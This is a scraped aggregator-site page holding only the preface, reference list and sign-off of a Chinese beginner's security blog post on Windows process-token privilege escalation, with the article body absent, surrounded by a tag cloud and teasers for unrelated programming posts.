學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行,

(By:Eastmount 2020-09-12 星期一 晚上11點寫于武漢 http://blog.csdn.net/eastmount/ )



2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,

在這里插入圖片描述

參考文獻:
[1]《Windows黑客編程技術詳解》甘迪文老師
[2] 行程訪問令牌權限提升 - 自己的小白
[3] windows行程提權(C語言實作) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/30094.html

標籤:其他

上一篇:幾道misc題

下一篇:數學建模是如何反作弊的?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 面試突擊第一季,第二季,第三季

    第一季必考 https://www.bilibili.com/video/BV1FE411y79Y?from=search&seid=15921726601957489746 第二季分布式 https://www.bilibili.com/video/BV13f4y127ee/?spm_id_fro ......

    uj5u.com 2020-09-10 05:35:24 more
  • 第三單元作業總結

    1.前言 這應該是本學期最后一次寫作業總結了吧。總體來說,對作業的節奏也差不多掌握了,作業做起來的效率也更高了。雖然和之前的作業一樣,作業中都要用到新的知識,但是相比之前,更加懂得了如何利用工具以及資料。雖然之間卡過殼,但總體而言,這幾次作業還算完成的比較好。 2.作業程序總結 相比前兩個單元,此單 ......

    uj5u.com 2020-09-10 05:35:41 more
  • 北航OO(2020)第四單元博客作業暨課程總結博客

    北航OO(2020)第四單元博客作業暨課程總結博客 本單元作業的架構設計 在本單元中,由于UML圖具有比較清晰的樹形結構,因此我對其中需要進行查詢操作的元素進行了包裝,在樹的父節點中存盤所有孩子的參考。考慮到性能問題,我采用了快取機制,一次查詢后盡可能快取已經遍歷過的資訊,以減少遍歷次數。 本單元我 ......

    uj5u.com 2020-09-10 05:35:48 more
  • BUAA_OO_第四單元

    一、UML決議器設計 ? 先看下題目:第四單元實作一個基于JDK 8帶有效性檢查的UML(Unified Modeling Language)類圖,順序圖,狀態圖分析器 MyUmlInteraction,實際上我們要建立一個有向圖模型,UML中的物件(元素)可能與同級元素連接,也可與低級元素相連形成 ......

    uj5u.com 2020-09-10 05:35:54 more
  • 6.1邏輯運算子

    邏輯運算子 1. && 短路與 運算式1 && 運算式2 01.運算式1為true并且運算式2也為true 整體回傳為true 02.運算式1為false,將不會執行運算式2 整體回傳為false 03.只要有一個運算式為false 整體回傳為false 2. || 短路或 運算式1 || 運算式2 ......

    uj5u.com 2020-09-10 05:35:56 more
  • BUAAOO 第四單元 & 課程總結

    1. 第四單元:StarUml檔案決議 本單元采用了圖模型決議UML。 UML檔案可以抽象為圖、子圖、邊的邏輯結構。 在實作中,圖的節點包括類、介面、屬性,子圖包括狀態圖、順序圖等。 采用了三次遍歷UML元素的方法建圖,第一遍遍歷建點,第二、三次遍歷設定屬性、連邊,實作圖物件的初始化。這里借鑒了一些 ......

    uj5u.com 2020-09-10 05:36:06 more
  • 談談我對C# 多型的理解

    面向物件三要素:封裝、繼承、多型。 封裝和繼承,這兩個比較好理解,但要理解多型的話,可就稍微有點難度了。今天,我們就來講講多型的理解。 我們應該經常會看到面試題目:請談談對多型的理解。 其實呢,多型非常簡單,就一句話:呼叫同一種方法產生了不同的結果。 具體實作方式有三種。 一、多載 多載很簡單。 p ......

    uj5u.com 2020-09-10 05:36:09 more
  • Python 資料驅動工具:DDT

    背景 python 的unittest 沒有自帶資料驅動功能。 所以如果使用unittest,同時又想使用資料驅動,那么就可以使用DDT來完成。 DDT是 “Data-Driven Tests”的縮寫。 資料:http://ddt.readthedocs.io/en/latest/ 使用方法 dd. ......

    uj5u.com 2020-09-10 05:36:13 more
  • Python里面的xlrd模塊詳解

    那我就一下面積個問題對xlrd模塊進行學習一下: 1.什么是xlrd模塊? 2.為什么使用xlrd模塊? 3.怎樣使用xlrd模塊? 1.什么是xlrd模塊? ?python操作excel主要用到xlrd和xlwt這兩個庫,即xlrd是讀excel,xlwt是寫excel的庫。 今天就先來說一下xl ......

    uj5u.com 2020-09-10 05:36:28 more
  • 當我們創建HashMap時,底層到底做了什么?

    jdk1.7中的底層實作程序(底層基于陣列+鏈表) 在我們new HashMap()時,底層創建了默認長度為16的一維陣列Entry[ ] table。當我們呼叫map.put(key1,value1)方法向HashMap里添加資料的時候: 首先,呼叫key1所在類的hashCode()計算key1 ......

    uj5u.com 2020-09-10 05:36:38 more
最新发布
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:20:47 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:20:25 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:20:17 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:20:10 more
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:19:44 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:19:07 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:18:57 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:18:49 more
  • 05單件模式

    #經典的單件模式 public class Singleton { private static Singleton uniqueInstance; //一個靜態變數持有Singleton類的唯一實體。 // 其他有用的實體變數寫在這里 //構造器宣告為私有,只有Singleton可以實體化這個類! ......

    uj5u.com 2023-04-19 08:42:51 more
  • 【架構與設計】常見微服務分層架構的區別和落地實踐

    軟體工程的方方面面都遵循一個最基本的道理:沒有銀彈,架構分層模型更是如此,每一種都有各自優缺點,所以請根據不同的業務場景,并遵循簡單、可演進這兩個重要的架構原則選擇合適的架構分層模型即可。 ......

    uj5u.com 2023-04-19 08:42:41 more